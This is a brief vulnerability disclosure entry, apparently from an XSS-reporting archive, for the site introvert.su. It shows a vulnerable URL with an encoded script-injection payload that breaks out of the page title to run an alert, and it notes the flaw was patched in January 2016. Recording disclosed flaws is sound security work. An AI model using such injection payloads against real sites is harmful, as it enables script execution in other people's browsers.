introvert.su XSS vulnerability

Vulnerable URL: http://introvert.su/http://introvert.su/?a=0=%3C/title%3E%3Cscript%3Ealert%28%2FXSSPOSED%2F%29%3B%3C%2Fscript%3E&=%3Cscript%3Ealert%28%2FXSSPOSED%2F%29%3B%3C%2Fscript%3E Details: Description| Value ---|--- Patched:| Yes, at 30.01.2016 Latest check for patch:| 30.01.2016 21:17 GMT...